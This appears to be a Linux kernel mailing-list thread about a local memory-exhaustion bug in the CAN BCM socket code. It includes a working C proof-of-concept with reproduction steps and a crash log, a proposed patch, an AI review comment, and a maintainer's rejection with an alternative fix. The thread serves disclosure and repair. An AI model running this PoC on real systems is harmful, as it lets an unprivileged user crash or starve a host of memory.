+				err = bcm_rx_register(op, dev);
 
  				/* keep a tracked reference so that a later
  				 * unregister can safely reach the device even

@@ -1558,9 +1643,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
  			}
 
  		} else {
-			err = can_rx_register(sock_net(sk), NULL, op->can_id,
-					      REGMASK(op->can_id),
-					      bcm_rx_handler, op, "bcm", sk);
+			err = bcm_rx_register(op, NULL);
  		}
 
  		if (err) {

@@ -1593,6 +1676,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
  	if (op->last_frames != &op->last_sframe)
  		kfree(op->last_frames);
  	kfree(op);
+	bcm_rx_op_uncharge(bo, rx_mem);
  	return err;
  }

@@ -1896,6 +1980,7 @@ static int bcm_init(struct sock *sk)
  	bo->ifindex          = 0;
  	bo->dropped_usr_msgs = 0;
  	bo->bcm_proc_read    = NULL;
+	atomic_set(&bo->rx_receiver_count, 0);
 
  	INIT_LIST_HEAD(&bo->tx_ops);
  	INIT_LIST_HEAD(&bo->rx_ops);

Zihan Xi

author

2026-10-28 13:43 UTC #6 lore raw

v2 cover can: bcm: bound per-socket RX operation resources

In reply to Zihan Xi

Hi Linux kernel maintainers,

We found an issue in net/can/bcm.c.
The bug is reachable by an unprivileged local user. The relevant details are provided below.

---- details below ----

An LLM was used to help create this patch.

This bug is tracked at: https://bugtracker.nebusec.ai/f/11134 (11134)

Bug details:

Changes in v2:

Set the error to -ENOMEM when either RX frame-array allocation fails, before entering the common cleanup path. This ensures the send syscall reports the allocation failure instead of returning success. Both frame-array allocation failure paths were exercised with guest fail_page_alloc injection.

Reproducer:

Build the included PoC source with:

cc -O2 -Wall -Wextra -o poc poc.c

In the guest's initial user and network namespaces, as root, configure OOM panic to capture the crash:

echo 0 > /proc/sys/kernel/panic_on_warn echo 2 > /proc/sys/vm/panic_on_oom echo 0 > /proc/sys/vm/oom_kill_allocating_task

Then, as the unprivileged guest user test_user (UID 1001), run:

    ./poc 0 1000

No namespace setup, added capabilities, or CAN device is required; the socket uses ifindex 0. Root is used only to set the OOM sysctls.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN PoC------

#define _GNU_SOURCE

#define BCM_NFRAMES 257U
#define DEFAULT_PROGRESS_STEP 1000U

struct rx_setup_req {
	struct bcm_msg_head head;
	struct canfd_frame frames[BCM_NFRAMES];
};

static void die(const char *what)

{
	perror(what);
	exit(EXIT_FAILURE);
}

static unsigned long parse_ul(const char *arg, const char *name)

{
	char *end = NULL;
	unsigned long value;

	errno = 0;
	value = strtoul(arg, &end, 0);
	if (errno || !end || *end != '\0') {
		fprintf(stderr, "invalid %s: %s\n", name, arg);
		exit(EXIT_FAILURE);
	}

	return value;
}

int main(int argc, char **argv)

{
	unsigned long max_ops = 0;
	unsigned long progress_step = DEFAULT_PROGRESS_STEP;
	unsigned long hold_seconds = 0;
	struct sockaddr_can addr = {
		.can_family = AF_CAN,
		.can_ifindex = 0,
	};
	struct rx_setup_req *req;
	size_t req_len;
	unsigned long i;
	int fd;

	if (argc > 1)
		max_ops = parse_ul(argv[1], "max_ops");
	if (argc > 2)
		progress_step = parse_ul(argv[2], "progress_step");
	if (argc > 3)
		hold_seconds = parse_ul(argv[3], "hold_seconds");
	if (!progress_step)
		progress_step = DEFAULT_PROGRESS_STEP;

	req = aligned_alloc(8, sizeof(*req));
	if (!req)
		die("aligned_alloc");

	memset(req, 0, sizeof(*req));
	req->head.opcode = RX_SETUP;
	req->head.flags = CAN_FD_FRAME;
	req->head.nframes = BCM_NFRAMES;

	for (i = 0; i < BCM_NFRAMES; i++) {
		req->frames[i].len = CANFD_MAX_DLEN;
		memset(req->frames[i].data, (int)i, sizeof(req->frames[i].data));
	}

	req_len = sizeof(*req);

	fd = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
	if (fd < 0)
		die("socket(PF_CAN, SOCK_DGRAM, CAN_BCM)");

	if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("connect(AF_CAN, ifindex=0)");

	for (i = 0; !max_ops || i < max_ops; i++) {
		ssize_t written;
		uint32_t id = (uint32_t)((i + 1) & CAN_EFF_MASK);

		req->head.can_id = CAN_EFF_FLAG | id;

		written = send(fd, req, req_len, 0);
		if (written < 0) {
			fprintf(stderr,
				"send failed after %lu RX_SETUP operations: %s\n",
				i, strerror(errno));
			return EXIT_FAILURE;
		}

		if ((i + 1) % progress_step == 0) {
			fprintf(stderr,
				"installed=%lu bytes_per_req=%zu total_payload=%" PRIu64 "\n",
				i + 1, req_len, (uint64_t)(i + 1) * req_len);
		}
	}

	fprintf(stderr, "completed %lu RX_SETUP operations without send failure\n",
		i);
	if (hold_seconds) {
		fprintf(stderr, "holding socket open for %lu seconds\n",
			hold_seconds);
		sleep(hold_seconds);
	}
	return EXIT_SUCCESS;
}

------END PoC--------

----BEGIN crash log----

The stack below is decoded with source locations from the DWARF5, reduced-debug-info build. The guest OOM was triggered during bcm_sendmsg() allocation at net/can/bcm.c:1431.

[   95.493290][ T9374] poc invoked oom-killer: gfp_mask=0x40cc0(GFP_KERNEL|__GFP_COMP), order=3, oom_score_adj=0
[   95.493324][ T9374] Call Trace:
[   95.493466][ T9374]  dump_header (mm/oom_kill.c:464)
[   95.493544][ T9374]  out_of_memory (mm/oom_kill.c:1075 mm/oom_kill.c:1143)
[   95.493555][ T9374]  ? __pfx_out_of_memory (mm/oom_kill.c:835)
[   95.493567][ T9374]  __alloc_frozen_pages_noprof (mm/page_alloc.c:4113 mm/page_alloc.c:5030 mm/page_alloc.c:5449)
[   95.493636][ T9374]  ? __pfx___alloc_frozen_pages_noprof (mm/page_alloc.c:4022)
[   95.493866][ T9374]  __kmalloc_noprof (mm/slub.c:5402 mm/slub.c:5439)
[   95.493899][ T9374]  ? bcm_sendmsg (include/linux/slab.h:995 include/linux/slab.h:1211 net/can/bcm.c:1431 net/can/bcm.c:1739)
[   95.493920][ T9374]  bcm_sendmsg (include/linux/slab.h:995 include/linux/slab.h:1211 net/can/bcm.c:1431 net/can/bcm.c:1739)
[   95.493933][ T9374]  ? __pfx_bcm_sendmsg (net/can/bcm.c:528)
[   95.493971][ T9374]  __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2281 (discriminator 1))
[   95.494018][ T9374]  ? __pfx_bcm_sendmsg (net/can/bcm.c:528)
[   95.494027][ T9374]  ? __pfx___sys_sendto (net/socket.c:2235)
[   95.497355][ T9374] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled

-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
can: bcm: limit RX operation resource usage per socket

 include/linux/can/core.h |   7 +++
 net/can/af_can.c         |  34 ++++++++++-
 net/can/af_can.h         |   1 +
 net/can/bcm.c            | 127 +++++++++++++++++++++++++++++++++------
 4 files changed, 147 insertions(+), 22 deletions(-)

Signature · 1 line

2.43.0

Zihan Xi

author

2026-10-28 13:43 UTC #7 lore raw

PATCH v2 1/1 can: bcm: limit RX operation resource usage per socket

BCM sockets can create an unbounded number of RX operations. Each operation allocates memory outside of the socket buffer accounting, so a single unprivileged socket can exhaust kernel memory.

Return -ENOBUFS when a socket reaches either limit. Existing operations can still be updated without additional charges.

Fixes ffd980f976e7 ("[CAN]: Add broadcast manager (bcm) protocol")

Cc [email protected]

Reported-by Vega <[email protected]>

Link https://bugtracker.nebusec.ai/f/11134

Signed-off-by Zihan Xi <[email protected]>

---
 include/linux/can/core.h |   7 +++
 net/can/af_can.c         |  34 ++++++++++-
 net/can/af_can.h         |   1 +
 net/can/bcm.c            | 127 +++++++++++++++++++++++++++++++++------
 4 files changed, 147 insertions(+), 22 deletions(-)

include/linux/can/core.h +7 -0

index 2de74c2b78b6..89b9d0a2dcc1 100644
@@ -53,6 +53,13 @@ int can_rx_register(struct net *net, struct net_device *dev,
 		    void (*func)(struct sk_buff *, void *),
 		    void *data, char *ident, struct sock *sk);
 
+/* release runs from an RCU callback and must not sleep. */
+int can_rx_register_with_release(struct net *net, struct net_device *dev,
+				 canid_t can_id, canid_t mask,
+				 void (*func)(struct sk_buff *, void *),
+				 void *data, char *ident, struct sock *sk,
+				 void (*release)(struct sock *sk));
+
 extern void can_rx_unregister(struct net *net, struct net_device *dev,
 			      canid_t can_id, canid_t mask,
 			      void (*func)(struct sk_buff *, void *),

net/can/af_can.c +31 -3

index 34fe3b28d576..a3f0ed35fbb5 100644
@@ -441,15 +441,20 @@ static struct hlist_head *can_rcv_list_find(canid_t *can_id, canid_t *mask,
  *  -ENOMEM on missing cache mem to create subscription entry
  *  -ENODEV unknown device
  */
-int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
-		    canid_t mask, void (*func)(struct sk_buff *, void *),
-		    void *data, char *ident, struct sock *sk)
+static int can_rx_register_internal(struct net *net, struct net_device *dev,
+				    canid_t can_id, canid_t mask,
+				    void (*func)(struct sk_buff *, void *),
+				    void *data, char *ident, struct sock *sk,
+				    void (*release)(struct sock *sk))
 {
 	struct receiver *rcv;
 	struct hlist_head *rcv_list;
 	struct can_dev_rcv_lists *dev_rcv_lists;
 	struct can_rcv_lists_stats *rcv_lists_stats = net->can.rcv_lists_stats;
 
+	if (release && !sk)
+		return -EINVAL;
+
 	/* insert new receiver  (dev,canid,mask) -> (func,data) */
 
 	if (dev && (dev->type != ARPHRD_CAN || !can_get_ml_priv(dev)))

@@ -474,6 +479,7 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
 	rcv->data = data;
 	rcv->ident = ident;
 	rcv->sk = sk;
+	rcv->release = release;
 
 	hlist_add_head_rcu(&rcv->list, rcv_list);
 	dev_rcv_lists->entries++;

@@ -485,15 +491,37 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
 
 	return 0;
 }
+
+int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
+		    canid_t mask, void (*func)(struct sk_buff *, void *),
+		    void *data, char *ident, struct sock *sk)
+{
+	return can_rx_register_internal(net, dev, can_id, mask, func, data,
+					ident, sk, NULL);
+}
 EXPORT_SYMBOL(can_rx_register);
 
+int can_rx_register_with_release(struct net *net, struct net_device *dev,
+				 canid_t can_id, canid_t mask,
+				 void (*func)(struct sk_buff *, void *),
+				 void *data, char *ident, struct sock *sk,
+				 void (*release)(struct sock *sk))
+{
+	return can_rx_register_internal(net, dev, can_id, mask, func, data,
+					ident, sk, release);
+}
+EXPORT_SYMBOL(can_rx_register_with_release);
+
 /* can_rx_delete_receiver - rcu callback for single receiver entry removal */
 static void can_rx_delete_receiver(struct rcu_head *rp)
 {
 	struct receiver *rcv = container_of(rp, struct receiver, rcu);
 	struct sock *sk = rcv->sk;
+	void (*release)(struct sock *sk) = rcv->release;
 
 	kmem_cache_free(rcv_cache, rcv);
+	if (release)
+		release(sk);
 	if (sk)
 		sock_put(sk);
 }

net/can/af_can.h +1 -0

index 87887014f562..2fa4cf8c1314 100644
@@ -57,6 +57,7 @@ struct receiver {
 	void *data;
 	char *ident;
 	struct sock *sk;
+	void (*release)(struct sock *sk);
 	struct rcu_head rcu;
 };

net/can/bcm.c +108 ~~-19~~

225 lines not on this page · raw message

Signature · 1 line

2.43.0

[email protected]

AI review

2026-10-28 13:53 UTC #8 lore raw

Re: [PATCH net v2 1/1] can: bcm: limit RX operation resource usage per socket

Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider: - [Low] can: misplaced kernel-doc comment above can_rx_register_internal() --

Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider:
- [Low] can: misplaced kernel-doc comment above can_rx_register_internal() --

commit 6e185f899c0a564d22495ef1e055cc4b9c9b27f0
Author: Zihan Xi <[email protected]>

can: bcm: limit RX operation resource usage per socket

This patch bounds the number and total allocation size of RX operations per BCM socket to prevent kernel memory exhaustion. It also introduces can_rx_register_with_release() so the socket's receiver count remains charged until the RCU grace period completes.

Link https://bugtracker.nebusec.ai/f/11134

Quoted 6 lines

net/can/af_can.c +0 -0

index 34fe3b28d576f..a3f0ed35fbb52 100644
@@ -441,15 +441,20 @@ static struct hlist_head *can_rcv_list_find(canid_t *can_id, canid_t *mask,
  *  -ENOMEM on missing cache mem to create subscription entry

net/can/af_can.c static struct hlist_head *can_rcv_list_find(canid_t *can_id, canid_t *mask, · line 448

Quoted 10 lines

net/can/af_can.c +5 -3

  *  -ENODEV unknown device
  */
-int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
-		    canid_t mask, void (*func)(struct sk_buff *, void *),
-		    void *data, char *ident, struct sock *sk)
+static int can_rx_register_internal(struct net *net, struct net_device *dev,
+				    canid_t can_id, canid_t mask,
+				    void (*func)(struct sk_buff *, void *),
+				    void *data, char *ident, struct sock *sk,
+				    void (*release)(struct sock *sk))

[Severity: Low]
When splitting can_rx_register() into can_rx_register_internal() and the exported wrapper in net/can/af_can.c, can_rx_register_internal() is placed directly beneath the existing kernel-doc comment for can_rx_register():

/**
* can_rx_register - subscribe CAN frames from a specific interface
...
*/
static int can_rx_register_internal(struct net *net, struct net_device *dev,
canid_t can_id, canid_t mask, void (*func)(struct sk_buff *, void *), void *data, char *ident, struct sock *sk, void (*release)(struct sock *sk))

Doesn't this cause scripts/kernel-doc (under W=1 builds) to warn that the prototype is for can_rx_register_internal() instead of can_rx_register() and that the release parameter is not described?

Should the kernel-doc comment be moved down to the exported can_rx_register() wrapper (or updated to match the function it precedes)?

Signature · 1 line

Sashiko AI review · https://sashiko.dev/#/patchset/[email protected]?part=1

zihan xi

author

2026-10-28 14:14 UTC #9 lore raw

Re: [PATCH net v2 1/1] can: bcm: limit RX operation resource usage per socket

Quoted 53 lines · On Wed, Oct 28, 2026 at 9:53 PM <[email protected]> wrote:

Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider:
- [Low] can: misplaced kernel-doc comment above can_rx_register_internal() --
commit 6e185f899c0a564d22495ef1e055cc4b9c9b27f0
Author: Zihan Xi <[email protected]>
can: bcm: limit RX operation resource usage per socket
This patch bounds the number and total allocation size of RX operations per BCM socket to prevent kernel memory exhaustion. It also introduces can_rx_register_with_release() so the socket's receiver count remains charged until the RCU grace period completes.
Link https://bugtracker.nebusec.ai/f/11134
Quoted 6 lines
net/can/af_can.c +0 -0
index 34fe3b28d576f..a3f0ed35fbb52 100644
@@ -441,15 +441,20 @@ static struct hlist_head *can_rcv_list_find(canid_t *can_id, canid_t *mask,
  *  -ENOMEM on missing cache mem to create subscription entry
net/can/af_can.c static struct hlist_head *can_rcv_list_find(canid_t *can_id, canid_t *mask, · line 448
Quoted 10 lines
net/can/af_can.c +5 -3
  *  -ENODEV unknown device
  */
-int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
-                 canid_t mask, void (*func)(struct sk_buff *, void *),
-                 void *data, char *ident, struct sock *sk)
+static int can_rx_register_internal(struct net *net, struct net_device *dev,
+                                 canid_t can_id, canid_t mask,
+                                 void (*func)(struct sk_buff *, void *),
+                                 void *data, char *ident, struct sock *sk,
+                                 void (*release)(struct sock *sk))
[Severity: Low]
When splitting can_rx_register() into can_rx_register_internal() and the exported wrapper in net/can/af_can.c, can_rx_register_internal() is placed directly beneath the existing kernel-doc comment for can_rx_register():
/**
* can_rx_register - subscribe CAN frames from a specific interface
...
*/
static int can_rx_register_internal(struct net *net, struct net_device *dev,
canid_t can_id, canid_t mask, void (*func)(struct sk_buff *, void *), void *data, char *ident, struct sock *sk, void (*release)(struct sock *sk))
Doesn't this cause scripts/kernel-doc (under W=1 builds) to warn that the prototype is for can_rx_register_internal() instead of can_rx_register() and that the release parameter is not described?

Quoted 5 lines

Should the kernel-doc comment be moved down to the exported can_rx_register() wrapper (or updated to match the function it precedes)?
--
Sashiko AI review · https://sashiko.dev/#/patchset/[email protected]?part=1

Thanks for the review. I’ll move the kernel-doc comment above the exported can_rx_register() wrapper and verify it with a W=1 build and scripts/kernel-doc.

Oliver Hartkopp

maintainer

2026-10-28 15:04 UTC #10 lore raw

Re: [PATCH net v2 1/1] can: bcm: limit RX operation resource usage per socket

In reply to Zihan Xi

Just in the case it was not clear to you here:

https://lore.kernel.org/linux-can/[email protected]/

Your patch does not solve the problem and will not be merged.

Please stop sending updates.

FYI it will go into this direction below, when the current patches are upstream. I already have a prepared patch for this issue.

Best regards,
Oliver

(..)

Enable memcg accounting instead, as it has been done for other allocations that can be triggered by unprivileged users:
- use GFP_KERNEL_ACCOUNT for the bcm_op structures and their frames and last_frames arrays in bcm_tx_setup() and bcm_rx_setup()
- create the rcv_cache with SLAB_ACCOUNT, which covers the CAN receivers of all CAN protocols

(..)

net/can/af_can.c +7 -7

@@ -919,7 +919,7 @@ static __init int can_init(void)
 	rcv_cache = kmem_cache_create("can_receiver", sizeof(struct receiver),
-				      0, 0, NULL);
+				      0, SLAB_ACCOUNT, NULL);
--- a/net/can/bcm.c
+++ b/net/can/bcm.c

@@ -1155,7 +1155,7 @@ static int bcm_tx_setup(...)
-		op = kzalloc(OPSIZ, GFP_KERNEL);
+		op = kzalloc(OPSIZ, GFP_KERNEL_ACCOUNT);

@@ -1172,7 +1172,7 @@ static int bcm_tx_setup(...)
 			op->frames = kmalloc_array(msg_head->nframes,
 						   op->cfsiz,
-						   GFP_KERNEL);
+						   GFP_KERNEL_ACCOUNT);

@@ -1403,7 +1403,7 @@ static int bcm_rx_setup(...)
-		op = kzalloc(OPSIZ, GFP_KERNEL);
+		op = kzalloc(OPSIZ, GFP_KERNEL_ACCOUNT);

@@ -1418,7 +1418,7 @@ static int bcm_rx_setup(...)
 			op->frames = kmalloc_array(msg_head->nframes,
 						   op->cfsiz,
-						   GFP_KERNEL);
+						   GFP_KERNEL_ACCOUNT);

@@ -1427,7 +1427,7 @@ static int bcm_rx_setup(...)
 			op->last_frames = kcalloc(msg_head->nframes,
 						  op->cfsiz,
-						  GFP_KERNEL);
+						  GFP_KERNEL_ACCOUNT);

(..)

Quoted 373 lines · Zihan Xi

BCM sockets can create an unbounded number of RX operations. Each operation allocates memory outside of the socket buffer accounting, so a single unprivileged socket can exhaust kernel memory.

Return -ENOBUFS when a socket reaches either limit. Existing operations can still be updated without additional charges.

Fixes ffd980f976e7 ("[CAN]: Add broadcast manager (bcm) protocol")

Cc [email protected]

Reported-by Vega <[email protected]>

Link https://bugtracker.nebusec.ai/f/11134

Signed-off-by Zihan Xi <[email protected]>

---
  include/linux/can/core.h |   7 +++
  net/can/af_can.c         |  34 ++++++++++-
  net/can/af_can.h         |   1 +
  net/can/bcm.c            | 127 +++++++++++++++++++++++++++++++++------
  4 files changed, 147 insertions(+), 22 deletions(-)

include/linux/can/core.h +7 -0

index 2de74c2b78b6..89b9d0a2dcc1 100644
@@ -53,6 +53,13 @@ int can_rx_register(struct net *net, struct net_device *dev,
  		    void (*func)(struct sk_buff *, void *),
  		    void *data, char *ident, struct sock *sk);
 
+/* release runs from an RCU callback and must not sleep. */
+int can_rx_register_with_release(struct net *net, struct net_device *dev,
+				 canid_t can_id, canid_t mask,
+				 void (*func)(struct sk_buff *, void *),
+				 void *data, char *ident, struct sock *sk,
+				 void (*release)(struct sock *sk));
+
  extern void can_rx_unregister(struct net *net, struct net_device *dev,
  			      canid_t can_id, canid_t mask,
  			      void (*func)(struct sk_buff *, void *),

net/can/af_can.c +31 -3

index 34fe3b28d576..a3f0ed35fbb5 100644
@@ -441,15 +441,20 @@ static struct hlist_head *can_rcv_list_find(canid_t *can_id, canid_t *mask,
   *  -ENOMEM on missing cache mem to create subscription entry
   *  -ENODEV unknown device
   */
-int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
-		    canid_t mask, void (*func)(struct sk_buff *, void *),
-		    void *data, char *ident, struct sock *sk)
+static int can_rx_register_internal(struct net *net, struct net_device *dev,
+				    canid_t can_id, canid_t mask,
+				    void (*func)(struct sk_buff *, void *),
+				    void *data, char *ident, struct sock *sk,
+				    void (*release)(struct sock *sk))
  {
  	struct receiver *rcv;
  	struct hlist_head *rcv_list;
  	struct can_dev_rcv_lists *dev_rcv_lists;
  	struct can_rcv_lists_stats *rcv_lists_stats = net->can.rcv_lists_stats;
 
+	if (release && !sk)
+		return -EINVAL;
+
  	/* insert new receiver  (dev,canid,mask) -> (func,data) */
 
  	if (dev && (dev->type != ARPHRD_CAN || !can_get_ml_priv(dev)))

@@ -474,6 +479,7 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
  	rcv->data = data;
  	rcv->ident = ident;
  	rcv->sk = sk;
+	rcv->release = release;
 
  	hlist_add_head_rcu(&rcv->list, rcv_list);
  	dev_rcv_lists->entries++;

@@ -485,15 +491,37 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
 
  	return 0;
  }
+
+int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
+		    canid_t mask, void (*func)(struct sk_buff *, void *),
+		    void *data, char *ident, struct sock *sk)
+{
+	return can_rx_register_internal(net, dev, can_id, mask, func, data,
+					ident, sk, NULL);
+}
  EXPORT_SYMBOL(can_rx_register);
 
+int can_rx_register_with_release(struct net *net, struct net_device *dev,
+				 canid_t can_id, canid_t mask,
+				 void (*func)(struct sk_buff *, void *),
+				 void *data, char *ident, struct sock *sk,
+				 void (*release)(struct sock *sk))
+{
+	return can_rx_register_internal(net, dev, can_id, mask, func, data,
+					ident, sk, release);
+}
+EXPORT_SYMBOL(can_rx_register_with_release);
+
  /* can_rx_delete_receiver - rcu callback for single receiver entry removal */
  static void can_rx_delete_receiver(struct rcu_head *rp)
  {
  	struct receiver *rcv = container_of(rp, struct receiver, rcu);
  	struct sock *sk = rcv->sk;
+	void (*release)(struct sock *sk) = rcv->release;
 
  	kmem_cache_free(rcv_cache, rcv);
+	if (release)
+		release(sk);
  	if (sk)
  		sock_put(sk);
  }

net/can/af_can.h +1 -0

index 87887014f562..2fa4cf8c1314 100644
@@ -57,6 +57,7 @@ struct receiver {
  	void *data;
  	char *ident;
  	struct sock *sk;
+	void (*release)(struct sock *sk);
  	struct rcu_head rcu;
  };

net/can/bcm.c +108 ~~-19~~

index 3d637a1e0ac1..477bdc1e8745 100644
@@ -58,6 +58,7 @@
  #include <linux/can/skb.h>
  #include <linux/can/bcm.h>
  #include <linux/slab.h>
+#include <linux/overflow.h>
  #include <linux/workqueue.h>
  #include <linux/spinlock.h>
  #include <net/can.h>

@@ -127,6 +128,7 @@ struct bcm_op {
  	void *last_frames;
  	struct canfd_frame sframe;
  	struct canfd_frame last_sframe;
+	size_t rx_mem;
  	struct sock *sk;
  	struct net_device *rx_reg_dev;
  	netdevice_tracker rx_reg_dev_tracker;

@@ -141,6 +143,9 @@ struct bcm_sock {
  	struct list_head notifier;
  	struct list_head rx_ops;
  	struct list_head tx_ops;
+	unsigned int rx_op_count;
+	size_t rx_mem_used;
+	atomic_t rx_receiver_count;
  	unsigned long dropped_usr_msgs;
  	struct proc_dir_entry *bcm_proc_read;
  	char procname [32]; /* inode number in decimal with \0 */

@@ -190,6 +195,10 @@ static bool bcm_is_invalid_tv(struct bcm_msg_head *msg_head)
  #define OPSIZ sizeof(struct bcm_op)
  #define MHSIZ sizeof(struct bcm_msg_head)
 
+/* Bound the resources consumed by RX operations on one BCM socket. */
+#define BCM_MAX_RX_OPS 1024
+#define BCM_MAX_RX_MEM (16 * 1024 * 1024)
+
  /*
   * procfs functions
   */

@@ -922,9 +931,64 @@ static struct bcm_op *bcm_find_op(struct list_head *ops,
  	return NULL;
  }
 
+/* Called with the socket lock held. */
+static bool bcm_rx_op_charge(struct bcm_sock *bo, size_t rx_mem)
+{
+	if (bo->rx_op_count >= BCM_MAX_RX_OPS ||
+	    rx_mem > BCM_MAX_RX_MEM - bo->rx_mem_used)
+		return false;
+
+	bo->rx_op_count++;
+	bo->rx_mem_used += rx_mem;
+	return true;
+}
+
+/* Called with the socket lock held. */
+static void bcm_rx_op_uncharge(struct bcm_sock *bo, size_t rx_mem)
+{
+	if (!rx_mem)
+		return;
+
+	if (WARN_ON_ONCE(!bo->rx_op_count || bo->rx_mem_used < rx_mem))
+		return;
+
+	bo->rx_op_count--;
+	bo->rx_mem_used -= rx_mem;
+}
+
+static void bcm_rx_receiver_release(struct sock *sk)
+{
+	struct bcm_sock *bo = bcm_sk(sk);
+
+	WARN_ON_ONCE(atomic_dec_return(&bo->rx_receiver_count) < 0);
+}
+
+/* Called with the socket lock held. */
+static int bcm_rx_register(struct bcm_op *op, struct net_device *dev)
+{
+	struct bcm_sock *bo = bcm_sk(op->sk);
+	int err;
+
+	if (atomic_inc_return(&bo->rx_receiver_count) > BCM_MAX_RX_OPS) {
+		atomic_dec(&bo->rx_receiver_count);
+		return -ENOBUFS;
+	}
+
+	err = can_rx_register_with_release(sock_net(op->sk), dev, op->can_id,
+					   REGMASK(op->can_id), bcm_rx_handler,
+					   op, "bcm", op->sk,
+					   bcm_rx_receiver_release);
+	if (err)
+		atomic_dec(&bo->rx_receiver_count);
+
+	return err;
+}
+
  static void bcm_free_op_work(struct work_struct *work)
  {
  	struct bcm_op *op = container_of(work, struct bcm_op, work);
+	struct sock *sk = op->sk;
+	size_t rx_mem = op->rx_mem;
 
  	hrtimer_cancel(&op->timer);
  	hrtimer_cancel(&op->thrtimer);

@@ -935,13 +999,20 @@ static void bcm_free_op_work(struct work_struct *work)
  	if ((op->last_frames) && (op->last_frames != &op->last_sframe))
  		kfree(op->last_frames);
 
-	/* the last possible access to op->timer/op->thrtimer has now
-	 * happened above via hrtimer_cancel() - op->sk is no longer
-	 * needed by any pending timer callback, so drop our reference
+	kfree(op);
+	/*
+	 * Keep the RX budget charged until the operation and its frame arrays
+	 * have actually been freed. op->sk holds a reference while this work is
+	 * pending, so the socket remains valid while updating its accounting.
  	 */
-	sock_put(op->sk);
+	if (rx_mem) {
+		lock_sock(sk);
+		bcm_rx_op_uncharge(bcm_sk(sk), rx_mem);
+		release_sock(sk);
+	}
 
-	kfree(op);
+	/* Drop the reference held for the operation and any pending timer. */
+	sock_put(sk);
  }
 
  static void bcm_free_op_rcu(struct rcu_head *rcu_head)

@@ -1316,6 +1387,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
  {
  	struct bcm_sock *bo = bcm_sk(sk);
  	struct bcm_op *op;
+	size_t rx_mem, frames_size, arrays_size;
  	int do_rx_register;
  	int new_op = 0;
  	int err = 0;

@@ -1414,10 +1486,31 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
  		do_rx_register = (ifindex && !op->rx_reg_dev) ? 1 : 0;
 
  	} else {
+		/*
+		 * Charge the operation and its frame arrays before allocating
+		 * them or registering a CAN receiver. nframes is already bounded
+		 * above, but keep the size arithmetic explicitly overflow-safe.
+		 */
+		rx_mem = sizeof(*op);
+		if (msg_head->nframes > 1) {
+			if (check_mul_overflow((size_t)msg_head->nframes,
+					       (size_t)CFSIZ(msg_head->flags),
+					       &frames_size) ||
+			    check_mul_overflow(frames_size, (size_t)2,
+					       &arrays_size) ||
+			    check_add_overflow(rx_mem, arrays_size, &rx_mem))
+				return -EOVERFLOW;
+		}
+
+		if (!bcm_rx_op_charge(bo, rx_mem))
+			return -ENOBUFS;
+
  		/* insert new BCM operation for the given can_id */
  		op = kzalloc(OPSIZ, GFP_KERNEL);
-		if (!op)
+		if (!op) {
+			bcm_rx_op_uncharge(bo, rx_mem);
  			return -ENOMEM;
+		}
 
  		spin_lock_init(&op->bcm_tx_lock);
  		spin_lock_init(&op->bcm_rx_update_lock);

@@ -1425,6 +1518,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
  		op->nframes = msg_head->nframes;
  		op->cfsiz = CFSIZ(msg_head->flags);
  		op->flags = msg_head->flags;
+		op->rx_mem = rx_mem;
 
  		if (msg_head->nframes > 1) {
  			/* create array for CAN frames and copy the data */

@@ -1432,8 +1526,8 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
  						   op->cfsiz,
  						   GFP_KERNEL);
  			if (!op->frames) {
-				kfree(op);
-				return -ENOMEM;
+				err = -ENOMEM;
+				goto free_op;
  			}
 
  			/* create and init array for received CAN frames */

@@ -1441,9 +1535,8 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
  						  op->cfsiz,
  						  GFP_KERNEL);
  			if (!op->last_frames) {
-				kfree(op->frames);
-				kfree(op);
-				return -ENOMEM;
+				err = -ENOMEM;
+				goto free_op;
  			}
 
  		} else {

@@ -1532,11 +1625,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
 
  			dev = dev_get_by_index(sock_net(sk), ifindex);
  			if (dev) {
-				err = can_rx_register(sock_net(sk), dev,
-						      op->can_id,
-						      REGMASK(op->can_id),
-						      bcm_rx_handler, op,
-						      "bcm", sk);
+				err = bcm_rx_register(op, dev);
 
  				/* keep a tracked reference so that a later
  				 * unregister can safely reach the device even

@@ -1558,9 +1647,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
  			}
 
  		} else {
-			err = can_rx_register(sock_net(sk), NULL, op->can_id,
-					      REGMASK(op->can_id),
-					      bcm_rx_handler, op, "bcm", sk);
+			err = bcm_rx_register(op, NULL);
  		}
 
  		if (err) {

@@ -1593,6 +1680,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
  	if (op->last_frames != &op->last_sframe)
  		kfree(op->last_frames);
  	kfree(op);
+	bcm_rx_op_uncharge(bo, rx_mem);
  	return err;
  }

@@ -1896,6 +1984,7 @@ static int bcm_init(struct sock *sk)
  	bo->ifindex          = 0;
  	bo->dropped_usr_msgs = 0;
  	bo->bcm_proc_read    = NULL;
